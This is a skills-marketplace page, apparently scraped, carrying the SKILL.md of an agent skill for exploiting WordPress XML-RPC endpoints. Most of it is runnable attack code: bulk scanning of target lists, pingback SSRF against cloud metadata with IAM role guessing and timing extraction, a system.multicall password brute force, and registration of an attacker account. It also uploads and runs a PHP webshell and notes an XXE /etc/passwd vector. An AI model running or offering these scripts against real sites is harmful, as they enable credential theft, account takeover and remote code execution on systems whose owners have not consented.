소스 정보
- 저장소
- uphiago/recon-skills
- 최근 소스 활동
- 2026년 7월 30일 00:23
- 감지된 SKILL.md 언어
- 영어
- 스타
- 1,158
- 포크
- 205
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/uphiago/recon-skills --skill xmlrpc-exploitation명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
SKILL.md 표시 중
SOC 직업 분류 기준
| name | xmlrpc-exploitation |
| description | Exploit XMLRPC multicall, pingback for brute force and SSRF. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["recon","xmlrpc","wordpress","brute-force","SSRF","RCE"] |
| category | recon |
| related_skills | ["wp-mass-recon","cors-credential-wordpress","phpinfo-to-rce","cross-attack-chains","wordpress-full-compromise","port-service-discovery","error-log-mining"] |
5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via pingback.ping, amplified brute force via system.multicall (1000x amplification), and RCE via wp.uploadFile when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.
wp-mass-recon detected XMLRPC returning HTTP 200 on POST.pingback.ping to cloud metadata endpoints.terminal with curl./xmlrpc.php returns 200 on POST with demo.sayHello).# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
sleep 0.3
done < targets.txt
# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
| Method | Capability | Severity |
|---|---|---|
demo.sayHello | Confirms XMLRPC is alive | Info |
system.listMethods | Enumerate all available methods | Info |
system.multicall | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
pingback.ping | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
wp.getUsers | Enumerate WordPress users | Medium |
wp.getPosts | List published posts | Low |
wp.uploadFile | Upload file to media library | Critical — webshell when combined with open reg |
wp.getOptions | Read WordPress options (siteurl, admin_email) | Medium |
wp.getPostStatusList | Get post statuses | Low |
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txt
TARGET="$1"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include Accept-Encoding: identity to avoid LiteSpeed gzip):
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
sleep 0.5
done
faultCode 0 on a pingback to an internal address confirms the request reached the target. faultCode 17 or 32 means blocked or unreachable.
When pingback.ping returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use timing differences to extract data character-by-character or enumerate IAM roles.
How it works: The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.
IAM Role Enumeration:
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")
From field (retail.example.com, June 2026):
/meta-data/: 344ms (large response — list of paths)/iam/security-credentials/: 435ms (very large — IAM role listing)/instance-id: 301ms (small — short string)Pitfall: Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.
system.multicall allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ wp.getUsers calls with different credentials, giving 1000x amplification over sequential requests.
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
A successful auth in the response will show user data instead of faultCode 403.
If the target has open registration AND XMLRPC with wp.uploadFile:
TARGET="$1"
# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"
# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Need escalation first:"
echo " a) Brute force admin (system.multicall 1000 pwd/req)"
echo " b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
echo " c) Check if default role changed by plugin"
exit 1
fi
# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\\\"1.0\\\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
Test the original XML-RPC URL without following redirects, then inspect any redirect target separately. Redirect-following can replace a protocol response with an HTML page and create a false regression. A change in status code is not enough to classify the endpoint; require a protocol-valid response body or the expected controlled callback.
re.search(r'faultCode[^0-9]*([0-9]+)', r.text) to reliably extract fault codes. faultCode 0 = accepted, faultCode 17 = URL not found, faultCode 32 = blocked/error.system.listMethods but return faultCode on actual use. Test with a single call before building multi-call payloads.-L) can hide XML-RPC POST responses. Capture the
original response without -L; investigate redirects as separate endpoints.isAdmin, blogid, or blogName strings. Use smaller batch sizes (50 passwords/request instead of 100).-P. Minimal environments may provide BusyBox grep,
which does not support Perl-compatible regular expressions. Use grep -oE
or Python for complex matching.isAdmin, blogid, or blogName — not just absence of faultCode 403. Check for ALL three keywords.-H "Accept-Encoding: identity" to curl, or pipe through Python gunzip. Without this, grep finds no faultCodes in the compressed binary.wp.getProfile before attempting upload. If subscriber, escalate (brute force admin, plugin CVE, or app passwords).\n- Mailinator password reset flow. WordPress registration sends a reset LINK (not password). You must: (1) read Mailinator inbox to extract the key=... from the URL, (2) GET the reset page to get wp-resetpass-* cookie, (3) POST new password. The rp_key parameter from the email URL is required — the HTML form may not auto-fill it.<!ENTITY xxe SYSTEM "file:///etc/passwd"> as bonus vector.X-aws-ec2-metadata-token header (PUT to /latest/api/token). Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.demo.sayHello MUST return Hello! in the response body to confirm XMLRPC is functional.pingback.ping SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).system.multicall MUST return distinct responses for each embedded method call.id or whoami output from the uploaded webshell.faultCode 0 on a role path without a Collaborator callback = UNCONFIRMED — treat as "SSRF possible but needs OOB verification."